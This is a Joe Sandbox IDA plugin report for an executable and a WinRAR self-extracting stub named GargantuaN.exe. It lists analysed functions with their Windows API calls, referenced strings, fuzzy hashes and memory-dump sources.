Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 31d98922058b437aa39038ffcd2f921eb2876f5cb57b8945f77e4444b2cf6093
Instruction ID: 9d6da311f79a3cbd7db774d29167f98f444a30d80f81ba44ba2cbe0709da6004
Opcode Fuzzy Hash: 31d98922058b437aa39038ffcd2f921eb2876f5cb57b8945f77e4444b2cf6093
Instruction Fuzzy Hash: 3F214321B1D75586E724AF13A880029B6A4FB44B90B884135DFADA3BD6DF3CE491C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D90910 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7F4D8B340,?,?,00000050,00007FF7F4D8D381), ref: 00007FF7F4D9091A
SetLastError.KERNEL32(?,?,?,00007FF7F4D8B340,?,?,00000050,00007FF7F4D8D381), ref: 00007FF7F4D90982
SetLastError.KERNEL32(?,?,?,00007FF7F4D8B340,?,?,00000050,00007FF7F4D8D381), ref: 00007FF7F4D90998
abort.LIBCMT ref: 00007FF7F4D9099E

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: d23b1ea948c8cc0bb87b14db0d81ebe09fd71346baca008a5f7c6a6520cdbb6e
Instruction ID: 322ebc87d86641e53cb5ae6bf234616416c04d6d98440f8feb847a57bc1c93c6
Opcode Fuzzy Hash: d23b1ea948c8cc0bb87b14db0d81ebe09fd71346baca008a5f7c6a6520cdbb6e
Instruction Fuzzy Hash: 0C016111B0920753FB5ABF63EDD5178B1915F45780F881538DB7E827D6EE2CF80482A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7C18C Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7F4D7C194
GetDeviceCaps.GDI32 ref: 00007FF7F4D7C1AA
GetDeviceCaps.GDI32 ref: 00007FF7F4D7C1BE
ReleaseDC.USER32 ref: 00007FF7F4D7C1CF

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 0607dc1d94c92cfa02f60fd2766947dea058399673a1dc8102f04d351872c6bf
Instruction ID: 33374f08f681d7f23319330091a98cf7b833b7ae7402b7aab5e1a14c030a22a2
Opcode Fuzzy Hash: 0607dc1d94c92cfa02f60fd2766947dea058399673a1dc8102f04d351872c6bf
Instruction Fuzzy Hash: 64E0C960E1960287EF286F72E8A9275B191AF48B91F844039CB2E463D0ED3DA08546E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D916C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D91707

Strings

gfff, xrefs: 00007FF7F4D91832
e+000, xrefs: 00007FF7F4D917AF

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: b0595cce0df0af71658d8d5e6ed85b764f27a28e19a233f7f6f9d231745c495e
Instruction ID: 65b71d847daf80f7a645919568fbc8e3724c5978752b3bf5f077858b724cf9d0
Opcode Fuzzy Hash: b0595cce0df0af71658d8d5e6ed85b764f27a28e19a233f7f6f9d231745c495e
Instruction Fuzzy Hash: D051F262B187C297F7259E36D98036DBA95AB80B90F888231C7A887BD6CE3CD444C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D69808 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D699A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D699E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6999C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D699A2

Strings

SIZE, xrefs: 00007FF7F4D69843

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: d0299518721ae56135b80f6d0b9407474becaff91557af36d9802fd85649bbcc
Instruction ID: 48a90e874e7a7eb1cebff545352483e6aa2ba6e405d432649ef01b497453fcc2
Opcode Fuzzy Hash: d0299518721ae56135b80f6d0b9407474becaff91557af36d9802fd85649bbcc
Instruction Fuzzy Hash: CF41A462A18A8297EF10AF16E4C13BDB350FF867A4F905232E7AD066D6EE3CD540C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8F760 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D8F78A
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF7F4D86465), ref: 00007FF7F4D8F7AB

Strings

C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, xrefs: 00007FF7F4D8F799

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
API String ID: 3307058713-2009292320
Opcode ID: 32830429c5a0a6449ebe3119d6f4074da373c825f732ffc243a16f3f58d0938d
Instruction ID: 51bc21b72ef0247237ed04348f6c54f100350c3940339863e4ce3b42de633d2a
Opcode Fuzzy Hash: 32830429c5a0a6449ebe3119d6f4074da373c825f732ffc243a16f3f58d0938d
Instruction Fuzzy Hash: 2A415272A0865687E715EF27E8800B8B7A5FB44BD4F944036EB1D47BD5EE3DE44183A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D69A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D69AEA

Part of subcall function 00007FF7F4D70644: WideCharToMultiByte.KERNEL32 ref: 00007FF7F4D70675

Strings

@%s, xrefs: 00007FF7F4D69ACE
$%s, xrefs: 00007FF7F4D69AD7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 18d1f9567af3e1e829b7edd42c7bfbbb79181edea22946e9fa38abe24f4e2d02
Instruction ID: 7420976095a2ddcad02fa565ff6492ab9f9c488f6ce99a5dae86f09a742663b8
Opcode Fuzzy Hash: 18d1f9567af3e1e829b7edd42c7bfbbb79181edea22946e9fa38abe24f4e2d02
Instruction Fuzzy Hash: 7E31AE72618A4A96EB10AF17E4C06B9B3A4FB44788F800032EF1D17BD5DE3CE505C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D91FD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7F4D92046
GetFileType.KERNEL32 ref: 00007FF7F4D9205C

Strings

@, xrefs: 00007FF7F4D92087

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: b947de3923641d317ef8b4e62e77dc8d20735a47ca9ba61dc4d579ac66c9413a
Instruction ID: 3b4d7f00c35b37004f34df21c38faa10522621fd5f986de32b8e3f29e0202deb
Opcode Fuzzy Hash: b947de3923641d317ef8b4e62e77dc8d20735a47ca9ba61dc4d579ac66c9413a
Instruction Fuzzy Hash: 7221A222B0864292FB649F26D8D4139B660FB45B74FA80735D7BE477D4CE3DD881C290

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D87808 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7F4D857AE), ref: 00007FF7F4D8784C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7F4D857AE), ref: 00007FF7F4D87892

Strings

csm, xrefs: 00007FF7F4D8787F

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 13556f5c8cc8e57bd0135833ed3cb94125f61d8ee28d70f1e7400c7c27568873
Instruction ID: a5031123363bdad0e9ad133830b2fdf2b5db14593a370eaa170d3e32a909f98f
Opcode Fuzzy Hash: 13556f5c8cc8e57bd0135833ed3cb94125f61d8ee28d70f1e7400c7c27568873
Instruction Fuzzy Hash: 5A115132608B8983EB109F16F880269B7A5FB88B88F984230DF9D07798DF3CD551CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6A83C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7F4D6A847
FindResourceW.KERNEL32 ref: 00007FF7F4D6A85D

Strings

RTL, xrefs: 00007FF7F4D6A853

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction ID: 46708fc4906a45428b9332708255fdcfccde2087c3a9c118160af8f067e73394
Opcode Fuzzy Hash: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction Fuzzy Hash: BDD01251F0660A93FF19AF63D88537466506B19B41F891038CA2D463D0EE6D909487A4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: GargantuaN.exePID: 7508, Parent PID: 7464COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	1505
Total number of Limit Nodes:	44

Executed Functions

Function 00D6DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D60863: GetModuleHandleW.KERNEL32(kernel32), ref: 00D6087C
Part of subcall function 00D60863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D6088E
Part of subcall function 00D60863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D608BF

Part of subcall function 00D6A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00D6A655

Part of subcall function 00D6AC16: OleInitialize.OLE32(00000000), ref: 00D6AC2F
Part of subcall function 00D6AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D6AC66
Part of subcall function 00D6AC16: SHGetMalloc.SHELL32(00D98438), ref: 00D6AC70

GetCommandLineW.KERNEL32 ref: 00D6DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00D6DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00D6DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00D6DFCE

Part of subcall function 00D6DBDE: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00D6DBF4
Part of subcall function 00D6DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D6DC30

CloseHandle.KERNEL32(00000000), ref: 00D6DFD7
GetModuleFileNameW.KERNEL32(00000000,00DAEC90,00000800), ref: 00D6DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00DAEC90), ref: 00D6DFFE
GetLocalTime.KERNEL32(?), ref: 00D6E009
_swprintf.LIBCMT ref: 00D6E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00D6E05A
GetModuleHandleW.KERNEL32(00000000), ref: 00D6E061
LoadIconW.USER32(00000000,00000064), ref: 00D6E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00D6E0C9
Sleep.KERNEL32(?), ref: 00D6E0F7
DeleteObject.GDI32 ref: 00D6E130
DeleteObject.GDI32(?), ref: 00D6E140
CloseHandle.KERNEL32 ref: 00D6E183

Strings

sfxstime, xrefs: 00D6E055
STARTDLG, xrefs: 00D6E0BE
sfxname, xrefs: 00D6DFF9
C:\Users\user\AppData\Local\Temp, xrefs: 00D6DF33
winrarsfxmappingfile.tmp, xrefs: 00D6DF77
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00D6E039

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2070194233
Opcode ID: 4e145b0a770e2c755f45965e8ca6565c5e598a338719ab5bd6535f06fa85fe65
Instruction ID: 3fa0c1ed87f245fda8b6a45bd935cd812e670f86e69b3e100c40878c166df6e6
Opcode Fuzzy Hash: 4e145b0a770e2c755f45965e8ca6565c5e598a338719ab5bd6535f06fa85fe65
Instruction Fuzzy Hash: 9E61D375A04345AFD320ABB5EC49F2B77ADEF46B00F04042AF949D2391DB789948D771

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6C4

Part of subcall function 00D5BB03: _wcslen.LIBCMT ref: 00D5BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A728
GetLastError.KERNEL32(?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A734

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 8dce678c9476814d1ff9957c2f570946085dbc9148cae9f6996ff95b398c78ff
Instruction ID: c05a94c9b5010b3c9a110b4c8f4ab1fbedb9c5a6e9cd0e7dd8a8c8b99e5183f6
Opcode Fuzzy Hash: 8dce678c9476814d1ff9957c2f570946085dbc9148cae9f6996ff95b398c78ff
Instruction Fuzzy Hash: 4C417176900625ABCB25DF68CC84AE9B7B8FB48351F144296ED5ED3200D734AE94CFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D77DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00D77DC4,00000000,00D8C300,0000000C,00D77F1B,00000000,00000002,00000000), ref: 00D77E0F
TerminateProcess.KERNEL32(00000000,?,00D77DC4,00000000,00D8C300,0000000C,00D77F1B,00000000,00000002,00000000), ref: 00D77E16
ExitProcess.KERNEL32 ref: 00D77E28

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ff72f24314c05184cee69dd12a769f48ad0c0440a0394c46cb2a1ca501689813
Instruction ID: abe244dfa6605a7049d059e78ebba1aa3461f4990a93f61749e1488bd9e27505
Opcode Fuzzy Hash: ff72f24314c05184cee69dd12a769f48ad0c0440a0394c46cb2a1ca501689813
Instruction Fuzzy Hash: 67E0B631014348ABCF116F64DD49A5A7F6AEB50B51B048854F81DCA232DB36DE92DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D58493

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1ba5507b45de34c0ca60f8c3e0856d404115ce095d7ce759d987961ffe88f002
Instruction ID: 3c288d127222bca6fff594a9dd765f5894e0994df958fabad62089d28bd0bde2
Opcode Fuzzy Hash: 1ba5507b45de34c0ca60f8c3e0856d404115ce095d7ce759d987961ffe88f002
Instruction Fuzzy Hash: 8182FB71904285AEDF15DF64C891BFABBB9AF15302F0C41B9EC49AB142DB315A8CDB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D6B7E5

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D6B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6B8EF
IsDialogMessageW.USER32(?,?), ref: 00D6B902
TranslateMessage.USER32(?), ref: 00D6B910
DispatchMessageW.USER32(?), ref: 00D6B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00D6B93D
EndDialog.USER32(?,00000001), ref: 00D6B960
GetDlgItem.USER32(?,00000068), ref: 00D6B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D6B99E
SendMessageW.USER32(00000000,000000C2,00000000,00D835F4), ref: 00D6B9B1

Part of subcall function 00D6D453: _wcslen.LIBCMT ref: 00D6D47D

SetFocus.USER32(00000000), ref: 00D6B9B8
_swprintf.LIBCMT ref: 00D6BA24

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

